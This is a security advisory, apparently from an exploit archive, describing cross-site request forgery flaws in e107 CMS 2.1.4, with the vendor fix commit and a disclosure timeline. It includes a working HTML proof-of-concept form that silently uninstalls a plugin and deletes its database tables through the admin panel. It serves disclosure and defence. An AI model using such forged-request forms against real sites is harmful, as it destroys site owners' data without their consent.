e107 CMS 2.1.4 Cross Site Request Forgery

`Title:Mutiple CSRF vulnerabilities in e107 CMS 2.1.4  
  
  
Author:Zhiyang Zeng  
  
  
Product:  
  
aaaaa  
  
  
e107 is a powerful website content management system designed for bootstrap v3 from http://e107.org/get-started  
  
  
aaaaa  
  
  
Fix  
  
aaaaa  
  
  
Fixed in git source code https://github.com/e107inc/e107/commit/7a3e3d9fc7e05ce6941b9af1c14010bf2141f1a5  
  
  
aaaaa  
  
  
Summary  
  
  
aaaa  
  
  
e107 CMS version 2.1.4 is vulnerable to cross-site request forgery in plugin-installing,meta-changingand settings-changing,a malicious web page can use  
  
forged requests to make e107 download and install a plug-in provided  
  
by the attacker.  
  
  
aaaa  
  
  
Timeline  
  
  
aaa  
  
  
2017-03-01 report to vendor  
  
  
2017-03-02 GitHub commit to fix token missing  
  
  
aaa  
  
  
Reproduce:  
  
  
==========  
  
  
I just give a uninstall any plugins POC.  
  
  
vul address:http://127.0.0.1/e107_2.1.4_full/e107_admin/plugin.php  
  
  
POC:  
  
  
<form action="http://127.0.0.1/e107_2.1.4_full/e107_admin/plugin.php?uninstall.8" method="post">  
  
<input type="text" name="delete_tables" value="1">  
  
<input type="text" name="delete_ipool" value="1">  
  
  
<input type="text" name="delete_files" value="0">  
  
<input type="text" name="uninstall_confirm" value="Confirm uninstall">  
  
  
<input type="submit" name="submit">  
  
</form>  
  
  
Description:  
  
  
I try to uninstall plugin gallery which id is 8.  
  
  
visiting beyond POC page, you will find gallery plugin has been uninstalled success!  
  
  
===========  
  
  
  
  
Best regards,  
  
Zhiyang Zeng of Tencent security platform department  
  
  
  
`